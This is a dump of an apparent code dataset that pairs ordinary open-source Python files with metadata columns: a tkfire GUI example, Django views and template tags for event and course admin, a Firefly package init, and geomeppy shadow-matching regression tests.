'TYPE': ["LabelFrame", {'text': "Right Side", 'width': 16}],
'CHILDREN': {
'Option1': {
TYPE: ['OptionMenu', {'variable': ['Opt1', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
'Option2': {
TYPE: ['OptionMenu', {'variable': ['Opt2', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
'Option3': {
TYPE: ['OptionMenu', {'variable': ['Opt3', {'value': 0}], 'values': 'options'}],
LAYOUT: ['pack', TB33],
},
},
},
}
# Step 4, Create the TkFire object (if no generator is provided, it will use the default version)
my_gui = tkfire.TkFire(core, memory, mother, generator=generator)
# In order to address GUI elements after creation, use a bang-path call on the 'gui' attribute:
my_gui.gui['left_panel!scrolled_text!my_entry'].insert(0, "hello world")
# Step 5, Run the gui
core.mainloop()
pprint(my_gui.gui)
| en | 0.683981 | # Step 1, create a Tk or TopLevel object for the GUI # Step 2, Create variables or other functions which will plug into the GUI # Step 2b, create any custom widgets you may need # self.frame.pack(**TB33) # it's fine # Step 2c, Create a generatrix for the TkFire object # Step 3, Define the structure of the GUI # 'Name of Element' (cannot contain '!') # LAYOUT: [packing method ('pack' or 'grid'), args] # TYPE: [name of tk, st, ttk, or custom widget, args] # CHILDREN: (Optional) dict(Elements for which this element is the parent frame) # Step 4, Create the TkFire object (if no generator is provided, it will use the default version) # In order to address GUI elements after creation, use a bang-path call on the 'gui' attribute: # Step 5, Run the gui | 2.887401 | 3 |
Firefly/__init__.py | Firefly-Automation/Firefly | 20 | 6616218 | <reponame>Firefly-Automation/Firefly<gh_stars>10-100
from Firefly.util.error_code_util import ErrorCodes
error_codes = ErrorCodes('Firefly/util/error_codes.json')
from Firefly.helpers.logging import FireflyLogging
logging = FireflyLogging()
from Firefly.helpers.alias import Alias
from Firefly.helpers.scheduler import Scheduler
aliases = Alias()
scheduler = Scheduler()
from Firefly.const import ALEXA_OFF, ALEXA_ON
ALEXA_CONST = [ALEXA_ON, ALEXA_OFF] | from Firefly.util.error_code_util import ErrorCodes
error_codes = ErrorCodes('Firefly/util/error_codes.json')
from Firefly.helpers.logging import FireflyLogging
logging = FireflyLogging()
from Firefly.helpers.alias import Alias
from Firefly.helpers.scheduler import Scheduler
aliases = Alias()
scheduler = Scheduler()
from Firefly.const import ALEXA_OFF, ALEXA_ON
ALEXA_CONST = [ALEXA_ON, ALEXA_OFF] | none | 1 | 1.755762 | 2 | |
courses/templatetags/courses_tags.py | sonnesen/tccproject | 1 | 6616219 | <reponame>sonnesen/tccproject<gh_stars>1-10
from django.template.library import Library
from courses.models import Enrollment, Course, Unit
from django.template.defaultfilters import stringfilter
register = Library()
def get_user_courses(user):
enrollments = Enrollment.objects.filter(user=user).all()
courses = []
for enrollment in enrollments:
course = Course.objects.get(pk=enrollment.course.pk)
courses.append(course)
return courses
@register.inclusion_tag('templatetags/user_menu_courses.html')
def user_menu_courses(user):
courses = get_user_courses(user)
context = { 'courses': courses }
return context
@register.inclusion_tag('templatetags/user_courses.html')
def user_courses(user):
courses = get_user_courses(user)
context = { 'courses': courses }
return context
def get_course_units(course):
units = Unit.objects.filter(course=course).order_by('pk').all()
return units
@register.inclusion_tag('templatetags/course_menu_units.html')
def course_menu_units(course):
units = get_course_units(course)
context = { 'units': units }
return context
@register.inclusion_tag('templatetags/course_units.html')
def course_units(course):
units = get_course_units(course)
context = { 'units': units }
return context
@register.simple_tag
def convert_ascii_to_string(code):
return chr(code)
@register.filter(is_safe=True)
@stringfilter
def concat_str(value, arg):
return "{}{}".format(value, arg)
@register.simple_tag
def num_watched_videos_by_user(course, user):
return course.num_watched_videos_by_user(user)
| from django.template.library import Library
from courses.models import Enrollment, Course, Unit
from django.template.defaultfilters import stringfilter
register = Library()
def get_user_courses(user):
enrollments = Enrollment.objects.filter(user=user).all()
courses = []
for enrollment in enrollments:
course = Course.objects.get(pk=enrollment.course.pk)
courses.append(course)
return courses
@register.inclusion_tag('templatetags/user_menu_courses.html')
def user_menu_courses(user):
courses = get_user_courses(user)
context = { 'courses': courses }
return context
@register.inclusion_tag('templatetags/user_courses.html')
def user_courses(user):
courses = get_user_courses(user)
context = { 'courses': courses }
return context
def get_course_units(course):
units = Unit.objects.filter(course=course).order_by('pk').all()
return units
@register.inclusion_tag('templatetags/course_menu_units.html')
def course_menu_units(course):
units = get_course_units(course)
context = { 'units': units }
return context
@register.inclusion_tag('templatetags/course_units.html')
def course_units(course):
units = get_course_units(course)
context = { 'units': units }
return context
@register.simple_tag
def convert_ascii_to_string(code):
return chr(code)
@register.filter(is_safe=True)
@stringfilter
def concat_str(value, arg):
return "{}{}".format(value, arg)
@register.simple_tag
def num_watched_videos_by_user(course, user):
return course.num_watched_videos_by_user(user) | none | 1 | 2.216972 | 2 | |
serious_shop/coupons/apps.py | ImustAdmit/django-serious-shop | 1 | 6616220 | <filename>serious_shop/coupons/apps.py
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class CouponsConfig(AppConfig):
name = "coupons"
verbose_name = _("Coupons")
| <filename>serious_shop/coupons/apps.py
from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _
class CouponsConfig(AppConfig):
name = "coupons"
verbose_name = _("Coupons")
| none | 1 | 1.279197 | 1 | |
selvbetjening/sadmin2/views/options.py | animekita/selvbetjening | 0 | 6616221 |
from django.core.urlresolvers import reverse
from django.http.response import HttpResponseRedirect
from django.shortcuts import render, get_object_or_404
from django.contrib import messages
from django.utils.translation import ugettext as _
from selvbetjening.businesslogic.events.decorators import suspend_automatic_attendee_price_updates
from selvbetjening.core.events.options.typemanager import type_manager_factory
from selvbetjening.core.events.models import Event, AttendState, OptionGroup, Attend, Selection
from selvbetjening.sadmin2.options.stypemanager import stype_manager_factory
from selvbetjening.sadmin2.forms import OptionGroupForm, SelectOptionType, SelectionTransferForm, SelectionTransferVerificationForm
from selvbetjening.sadmin2.decorators import sadmin_prerequisites
from selvbetjening.sadmin2 import menu
from generic import generic_create_view, apply_search_query
from selvbetjening.sadmin2.views.event import _get_deleted_objects
@sadmin_prerequisites
def event_selections(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
# TODO rewrite this to use annotations to reduce the number of db queries
option_groups = []
for option_group in event.optiongroups.prefetch_related('option_set'):
options = []
for option in option_group.option_set.all().prefetch_related('selection_set'):
count = option.selections.count()
waiting = option.selections.filter(attendee__state=AttendState.waiting).count()
accepted = option.selections.filter(attendee__state=AttendState.accepted).count()
attended = option.selections.filter(attendee__state=AttendState.attended).count()
suboptions = []
for suboption in option.suboptions:
scount = suboption.selections.count()
swaiting = suboption.selections.filter(attendee__state=AttendState.waiting).count()
saccepted = suboption.selections.filter(attendee__state=AttendState.accepted).count()
sattended = suboption.selections.filter(attendee__state=AttendState.attended).count()
suboptions.append((suboption, scount, swaiting, saccepted, sattended))
options.append((option, suboptions, count, waiting, accepted, attended))
option_groups.append((option_group, options))
return render(request,
'sadmin2/event/selections.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'optiongroups': option_groups
})
@sadmin_prerequisites
def event_selections_manage(request, event_pk):
FIELDS = (
'in_scope_view_public',
'in_scope_view_registration',
'in_scope_view_manage',
'in_scope_view_user_invoice',
'in_scope_view_system_invoice',
'in_scope_edit_registration',
'in_scope_edit_manage_waiting',
'in_scope_edit_manage_accepted',
'in_scope_edit_manage_attended',
'order'
)
GROUP_FIELDS = (
'order',
)
event = get_object_or_404(Event, pk=event_pk)
option_groups = event.optiongroups
# Note, we could have used the standard django form framework for this, however it would be a mess
# I only hope this is just a bit less messy :)
if request.method == 'POST':
# add anon option group
if 'add-anon-group' in request.POST:
if not event.has_special:
OptionGroup.objects.create(
event=event,
is_special=True
)
messages.success(request, _('Special option group created'))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
# split selections into options
option_data = {}
option_group_data = {}
for key, value in request.POST.items():
# all option data is formatted as field__pk and option_group data is formatted as field--pk
if '__' in key:
split = '__'
data = option_data
elif '--' in key:
split = '--'
data = option_group_data
else:
continue
field, pk = key.split(split)
pk = int(pk)
data.setdefault(pk, {})
data[pk][field] = value
# update options
def inject_data(object, fields, data):
for field in fields:
if field == 'order':
try:
setattr(object, field, int(data[object.pk][field]))
except KeyError:
pass # race condition on new option?
else:
setattr(object, field, object.pk in data and field in data[object.pk])
for option_group in option_groups:
inject_data(option_group, GROUP_FIELDS, option_group_data)
option_group.save()
for option in option_group.options:
inject_data(option, FIELDS, option_data)
option.save()
messages.success(request, _('Selections saves'))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
return render(request,
'sadmin2/event/selections_manage.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_settings_selections',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'settings',
'event': event,
'option_groups': option_groups
})
@sadmin_prerequisites
def event_selections_create_group(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_create_group',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event
}
def save_callback(instance):
instance.event = event
instance.save()
return generic_create_view(request,
OptionGroupForm,
reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}),
message_success=_('Option group created'),
context=context,
instance_save_callback=save_callback)
@sadmin_prerequisites
def event_selections_edit_group(request, event_pk, group_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_edit_group',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'option_group': group
}
return generic_create_view(request,
OptionGroupForm,
reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}),
message_success=_('Option group saved'),
context=context,
instance=group)
@sadmin_prerequisites
def event_selections_create_option(request, event_pk, group_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
if request.method == 'POST':
form = SelectOptionType(request.POST)
if form.is_valid():
return HttpResponseRedirect(reverse('sadmin2:event_selections_create_option_step2',
kwargs={
'event_pk': event.pk,
'group_pk': group.pk,
'type_raw': form.cleaned_data['type']}))
else:
form = SelectOptionType()
return render(
request,
'sadmin2/generic/form.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_create_option',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'option_group': group,
'form': form
}
)
@sadmin_prerequisites
def event_selections_create_option_step2(request, event_pk, group_pk, type_raw):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
stype_manager = stype_manager_factory(type_raw)
view = stype_manager.get_create_view()
return view(request, event, group)
@sadmin_prerequisites
def event_selections_delete_option(request, event_pk, group_pk, option_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
_option = get_object_or_404(group.options, pk=option_pk)
type_manager = type_manager_factory(_option)
# fetch the correct "overloaded" option
option = type_manager.get_model().objects.get(pk=_option.pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_delete_option',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'settings',
'event': event,
'option_group': group,
'option': option
}
# Check if we are allowed to delete this object
selection_count = Selection.objects.filter(option=option).count()
if selection_count > 0:
context['selection_count'] = selection_count
return render(request,
'sadmin2/event/selection_option_delete_not_possible.html',
context)
# If yes, then ...
if request.method == 'POST':
option.delete()
messages.success(request, _('Option %s deleted' % option.name))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
context['obj_type'] = 'Option'
context['to_be_deleted'] = _get_deleted_objects([option])
return render(request,
'sadmin2/generic/delete.html',
context)
@sadmin_prerequisites
def event_selections_edit_option(request, event_pk, group_pk, option_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
_option = get_object_or_404(group.options, pk=option_pk)
type_manager = type_manager_factory(_option)
stype_manager = stype_manager_factory(_option)
# fetch the correct "overloaded" option
option = type_manager.get_model().objects.get(pk=_option.pk)
view = stype_manager.get_update_view()
return view(request, event, group, instance=option)
@sadmin_prerequisites
@suspend_automatic_attendee_price_updates
def event_selections_transfer(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
verification_mode = False
selections = None
if request.method == 'POST':
form = SelectionTransferForm(request.POST, event=event)
if form.is_valid():
selections = Selection.objects.filter(option=form.cleaned_data['from_option'])
if len(form.cleaned_data['status']) > 0:
selections = selections.filter(attendee__state__in=form.cleaned_data['status'])
if form.cleaned_data['from_suboption'] is not None:
selections = selections.filter(suboption=form.cleaned_data['from_suboption'])
if 'verify' in request.POST:
attendees = []
to_option = form.cleaned_data['to_option']
to_suboption = form.cleaned_data['to_suboption']
for selection in selections:
attendee = selection.attendee
attendees.append(attendee)
# delete old selection
selection.delete()
# update price
attendee.price -= selection.price
if to_option is not None:
# select new selection
new_selection, created = Selection.objects.get_or_create(
attendee=attendee,
option=to_option,
suboption=to_suboption,
defaults={
'text': selection.text
}
)
# update price
if created:
attendee.price += new_selection.price
attendee.save()
email = form.cleaned_data['email']
if email is not None:
for attendee in attendees:
email.send_email_attendee(attendee, 'sadmin.selections.transfer')
messages.success(request, _('Selections transferred'))
return HttpResponseRedirect(reverse('sadmin2:event_selections', kwargs={'event_pk': event.pk}))
else:
# show verification form
form = SelectionTransferVerificationForm(request.POST, event=event)
verification_mode = True
else:
form = SelectionTransferForm(event=event)
return render(
request,
'sadmin2/event/selections_transfer_step1.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_transfer',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'selections': selections,
'verification_mode': verification_mode,
'form': form
}
)
|
from django.core.urlresolvers import reverse
from django.http.response import HttpResponseRedirect
from django.shortcuts import render, get_object_or_404
from django.contrib import messages
from django.utils.translation import ugettext as _
from selvbetjening.businesslogic.events.decorators import suspend_automatic_attendee_price_updates
from selvbetjening.core.events.options.typemanager import type_manager_factory
from selvbetjening.core.events.models import Event, AttendState, OptionGroup, Attend, Selection
from selvbetjening.sadmin2.options.stypemanager import stype_manager_factory
from selvbetjening.sadmin2.forms import OptionGroupForm, SelectOptionType, SelectionTransferForm, SelectionTransferVerificationForm
from selvbetjening.sadmin2.decorators import sadmin_prerequisites
from selvbetjening.sadmin2 import menu
from generic import generic_create_view, apply_search_query
from selvbetjening.sadmin2.views.event import _get_deleted_objects
@sadmin_prerequisites
def event_selections(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
# TODO rewrite this to use annotations to reduce the number of db queries
option_groups = []
for option_group in event.optiongroups.prefetch_related('option_set'):
options = []
for option in option_group.option_set.all().prefetch_related('selection_set'):
count = option.selections.count()
waiting = option.selections.filter(attendee__state=AttendState.waiting).count()
accepted = option.selections.filter(attendee__state=AttendState.accepted).count()
attended = option.selections.filter(attendee__state=AttendState.attended).count()
suboptions = []
for suboption in option.suboptions:
scount = suboption.selections.count()
swaiting = suboption.selections.filter(attendee__state=AttendState.waiting).count()
saccepted = suboption.selections.filter(attendee__state=AttendState.accepted).count()
sattended = suboption.selections.filter(attendee__state=AttendState.attended).count()
suboptions.append((suboption, scount, swaiting, saccepted, sattended))
options.append((option, suboptions, count, waiting, accepted, attended))
option_groups.append((option_group, options))
return render(request,
'sadmin2/event/selections.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'optiongroups': option_groups
})
@sadmin_prerequisites
def event_selections_manage(request, event_pk):
FIELDS = (
'in_scope_view_public',
'in_scope_view_registration',
'in_scope_view_manage',
'in_scope_view_user_invoice',
'in_scope_view_system_invoice',
'in_scope_edit_registration',
'in_scope_edit_manage_waiting',
'in_scope_edit_manage_accepted',
'in_scope_edit_manage_attended',
'order'
)
GROUP_FIELDS = (
'order',
)
event = get_object_or_404(Event, pk=event_pk)
option_groups = event.optiongroups
# Note, we could have used the standard django form framework for this, however it would be a mess
# I only hope this is just a bit less messy :)
if request.method == 'POST':
# add anon option group
if 'add-anon-group' in request.POST:
if not event.has_special:
OptionGroup.objects.create(
event=event,
is_special=True
)
messages.success(request, _('Special option group created'))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
# split selections into options
option_data = {}
option_group_data = {}
for key, value in request.POST.items():
# all option data is formatted as field__pk and option_group data is formatted as field--pk
if '__' in key:
split = '__'
data = option_data
elif '--' in key:
split = '--'
data = option_group_data
else:
continue
field, pk = key.split(split)
pk = int(pk)
data.setdefault(pk, {})
data[pk][field] = value
# update options
def inject_data(object, fields, data):
for field in fields:
if field == 'order':
try:
setattr(object, field, int(data[object.pk][field]))
except KeyError:
pass # race condition on new option?
else:
setattr(object, field, object.pk in data and field in data[object.pk])
for option_group in option_groups:
inject_data(option_group, GROUP_FIELDS, option_group_data)
option_group.save()
for option in option_group.options:
inject_data(option, FIELDS, option_data)
option.save()
messages.success(request, _('Selections saves'))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
return render(request,
'sadmin2/event/selections_manage.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_settings_selections',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'settings',
'event': event,
'option_groups': option_groups
})
@sadmin_prerequisites
def event_selections_create_group(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_create_group',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event
}
def save_callback(instance):
instance.event = event
instance.save()
return generic_create_view(request,
OptionGroupForm,
reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}),
message_success=_('Option group created'),
context=context,
instance_save_callback=save_callback)
@sadmin_prerequisites
def event_selections_edit_group(request, event_pk, group_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_edit_group',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'option_group': group
}
return generic_create_view(request,
OptionGroupForm,
reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}),
message_success=_('Option group saved'),
context=context,
instance=group)
@sadmin_prerequisites
def event_selections_create_option(request, event_pk, group_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
if request.method == 'POST':
form = SelectOptionType(request.POST)
if form.is_valid():
return HttpResponseRedirect(reverse('sadmin2:event_selections_create_option_step2',
kwargs={
'event_pk': event.pk,
'group_pk': group.pk,
'type_raw': form.cleaned_data['type']}))
else:
form = SelectOptionType()
return render(
request,
'sadmin2/generic/form.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_create_option',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'option_group': group,
'form': form
}
)
@sadmin_prerequisites
def event_selections_create_option_step2(request, event_pk, group_pk, type_raw):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
stype_manager = stype_manager_factory(type_raw)
view = stype_manager.get_create_view()
return view(request, event, group)
@sadmin_prerequisites
def event_selections_delete_option(request, event_pk, group_pk, option_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
_option = get_object_or_404(group.options, pk=option_pk)
type_manager = type_manager_factory(_option)
# fetch the correct "overloaded" option
option = type_manager.get_model().objects.get(pk=_option.pk)
context = {
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_delete_option',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'settings',
'event': event,
'option_group': group,
'option': option
}
# Check if we are allowed to delete this object
selection_count = Selection.objects.filter(option=option).count()
if selection_count > 0:
context['selection_count'] = selection_count
return render(request,
'sadmin2/event/selection_option_delete_not_possible.html',
context)
# If yes, then ...
if request.method == 'POST':
option.delete()
messages.success(request, _('Option %s deleted' % option.name))
return HttpResponseRedirect(reverse('sadmin2:event_settings_selections', kwargs={'event_pk': event.pk}))
context['obj_type'] = 'Option'
context['to_be_deleted'] = _get_deleted_objects([option])
return render(request,
'sadmin2/generic/delete.html',
context)
@sadmin_prerequisites
def event_selections_edit_option(request, event_pk, group_pk, option_pk):
event = get_object_or_404(Event, pk=event_pk)
group = get_object_or_404(event.optiongroups, pk=group_pk)
_option = get_object_or_404(group.options, pk=option_pk)
type_manager = type_manager_factory(_option)
stype_manager = stype_manager_factory(_option)
# fetch the correct "overloaded" option
option = type_manager.get_model().objects.get(pk=_option.pk)
view = stype_manager.get_update_view()
return view(request, event, group, instance=option)
@sadmin_prerequisites
@suspend_automatic_attendee_price_updates
def event_selections_transfer(request, event_pk):
event = get_object_or_404(Event, pk=event_pk)
verification_mode = False
selections = None
if request.method == 'POST':
form = SelectionTransferForm(request.POST, event=event)
if form.is_valid():
selections = Selection.objects.filter(option=form.cleaned_data['from_option'])
if len(form.cleaned_data['status']) > 0:
selections = selections.filter(attendee__state__in=form.cleaned_data['status'])
if form.cleaned_data['from_suboption'] is not None:
selections = selections.filter(suboption=form.cleaned_data['from_suboption'])
if 'verify' in request.POST:
attendees = []
to_option = form.cleaned_data['to_option']
to_suboption = form.cleaned_data['to_suboption']
for selection in selections:
attendee = selection.attendee
attendees.append(attendee)
# delete old selection
selection.delete()
# update price
attendee.price -= selection.price
if to_option is not None:
# select new selection
new_selection, created = Selection.objects.get_or_create(
attendee=attendee,
option=to_option,
suboption=to_suboption,
defaults={
'text': selection.text
}
)
# update price
if created:
attendee.price += new_selection.price
attendee.save()
email = form.cleaned_data['email']
if email is not None:
for attendee in attendees:
email.send_email_attendee(attendee, 'sadmin.selections.transfer')
messages.success(request, _('Selections transferred'))
return HttpResponseRedirect(reverse('sadmin2:event_selections', kwargs={'event_pk': event.pk}))
else:
# show verification form
form = SelectionTransferVerificationForm(request.POST, event=event)
verification_mode = True
else:
form = SelectionTransferForm(event=event)
return render(
request,
'sadmin2/event/selections_transfer_step1.html',
{
'sadmin2_menu_main_active': 'events',
'sadmin2_breadcrumbs_active': 'event_selections_transfer',
'sadmin2_menu_tab': menu.sadmin2_menu_tab_event,
'sadmin2_menu_tab_active': 'selections',
'event': event,
'selections': selections,
'verification_mode': verification_mode,
'form': form
}
)
| en | 0.86347 | # TODO rewrite this to use annotations to reduce the number of db queries # Note, we could have used the standard django form framework for this, however it would be a mess # I only hope this is just a bit less messy :) # add anon option group # split selections into options # all option data is formatted as field__pk and option_group data is formatted as field--pk # update options # race condition on new option? # fetch the correct "overloaded" option # Check if we are allowed to delete this object # If yes, then ... # fetch the correct "overloaded" option # delete old selection # update price # select new selection # update price # show verification form | 1.920177 | 2 |
tests/test_regressions.py | katsuya0719/geomeppy | 29 | 6616222 | """Tests for issue previously raised and fixed, so we can be alerted if they start failing again."""
import pytest
from geomeppy.geom.polygons import Polygon3D
from geomeppy.geom.surfaces import set_coords
@pytest.fixture
def shadow_matching():
shadow_blocks = [
{
"name": "PN1001_Bld1000",
"coordinates": [
(-83637.73039999977, -100993.7087999992),
(-83639.28569999989, -101015.82459999993),
(-83653.77890000027, -101007.15670000017),
(-83652.75889999978, -100992.65210000053),
(-83637.73039999977, -100993.7087999992),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1001",
"coordinates": [
(-83636.50970000029, -100976.35019999929),
(-83637.73039999977, -100993.7087999992),
(-83652.75889999978, -100992.65210000053),
(-83651.5382000003, -100975.29350000061),
(-83636.50970000029, -100976.35019999929),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1004_EL23",
"coordinates": [
(-83635.2890999997, -100958.99369999953),
(-83650.31759999972, -100957.93679999933),
(-83648.50050000008, -100932.0979999993),
(-83634.0064000003, -100940.75280000083),
(-83635.2890999997, -100958.99369999953),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1004_EL24",
"coordinates": [
(-83635.2890999997, -100958.99369999953),
(-83636.50970000029, -100976.35019999929),
(-83651.5382000003, -100975.29350000061),
(-83650.31759999972, -100957.93679999933),
(-83635.2890999997, -100958.99369999953),
],
"height": 21.0,
},
]
zones = [
{
"name": "PN1001_Bld1003 Zone1",
"coordinates": [
(-83637.86197158082, -100995.57970000058),
(-83623.76818996808, -100995.57970000058),
(-83629.44400000013, -101021.71050000004),
(-83639.28569999989, -101015.82459999993),
(-83637.86197158082, -100995.57970000058),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone2",
"coordinates": [
(-83623.76818996808, -100995.57970000058),
(-83637.86197158082, -100995.57970000058),
(-83637.73039999977, -100993.7087999992),
(-83636.55229433342, -100976.95590000041),
(-83619.72295787116, -100976.95590000041),
(-83623.76818996808, -100995.57970000058),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone3",
"coordinates": [
(-83614.40199999977, -100952.4587999992),
(-83616.24896021019, -100960.96199999936),
(-83635.42752116646, -100960.96199999936),
(-83635.2890999997, -100958.99369999953),
(-83634.0064000003, -100940.75280000083),
(-83614.40199999977, -100952.4587999992),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone4",
"coordinates": [
(-83616.24896021019, -100960.96199999936),
(-83619.72295787116, -100976.95590000041),
(-83636.55229433342, -100976.95590000041),
(-83636.50970000029, -100976.35019999929),
(-83635.42752116646, -100960.96199999936),
(-83616.24896021019, -100960.96199999936),
],
"height": 3.0,
"num_stories": 1,
},
]
return {"zones": zones, "shadows": shadow_blocks}
def test_basic_shadow_matching(new_idf):
"""
Test with all x-axis at 0
This should avoid any issues with rounding/almost_equals.
"""
try:
ggr = new_idf.idfobjects["GLOBALGEOMETRYRULES"][0]
except IndexError:
ggr = None
wall = new_idf.newidfobject(
"BUILDINGSURFACE:DETAILED", Name="A Wall", Surface_Type="wall"
)
set_coords(wall, [(0, 0, 0), (0, 1, 0), (0, 1, 1), (0, 0, 1)], ggr)
shadow = new_idf.newidfobject("SHADING:SITE:DETAILED", Name="A Shadow")
set_coords(shadow, [(0, 0, 2), (0, 2, 2), (0, 2, 0), (0, 0, 0)], ggr)
new_idf.intersect_match()
# new_idf.view_model()
walls = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 1
assert len(walls) == expected_adiabatic
def test_simple_shadow_matching(new_idf):
"""Test in a single plane, but angled."""
try:
ggr = new_idf.idfobjects["GLOBALGEOMETRYRULES"][0]
except IndexError:
ggr = None
wall1 = new_idf.newidfobject(
"BUILDINGSURFACE:DETAILED", Name="Wall 1", Surface_Type="wall"
)
set_coords(
wall1,
[
(1.5553000001236796, 28.001700000837445, 3.0),
(1.5553000001236796, 28.001700000837445, -1.0),
(2.7759999996051192, 45.36030000075698, -1.0),
(2.7759999996051192, 45.36030000075698, 3.0),
],
ggr,
)
shadow = new_idf.newidfobject("SHADING:SITE:DETAILED", Name="A Shadow")
set_coords(
shadow,
[
(2.7759999996051192, 45.36030000075698, 21.0),
(2.7759999996051192, 45.36030000075698, 0.0),
(1.5553000001236796, 28.001700000837445, 0.0),
(1.5553000001236796, 28.001700000837445, 21.0),
],
ggr,
)
new_idf.intersect_match()
# new_idf.view_model()
walls = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 1
assert len(walls) == expected_adiabatic
def test_shadow_matching(new_idf, shadow_matching):
"""Test with a full model."""
for block in shadow_matching["shadows"]:
new_idf.add_shading_block(**block)
for block in shadow_matching["zones"]:
new_idf.add_block(**block)
new_idf.translate_to_origin()
new_idf.intersect_match()
adiabatic = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 7
assert len(adiabatic) == expected_adiabatic
def test_shadow_intersecting(new_idf, shadow_matching):
"""Test with a full model."""
for block in shadow_matching["shadows"]:
new_idf.add_shading_block(**block)
for block in shadow_matching["zones"]:
new_idf.add_block(**block)
new_idf.translate_to_origin()
new_idf.intersect()
shadows = [Polygon3D(s.coords) for s in new_idf.getshadingsurfaces()]
assert len(shadows) == 23
| """Tests for issue previously raised and fixed, so we can be alerted if they start failing again."""
import pytest
from geomeppy.geom.polygons import Polygon3D
from geomeppy.geom.surfaces import set_coords
@pytest.fixture
def shadow_matching():
shadow_blocks = [
{
"name": "PN1001_Bld1000",
"coordinates": [
(-83637.73039999977, -100993.7087999992),
(-83639.28569999989, -101015.82459999993),
(-83653.77890000027, -101007.15670000017),
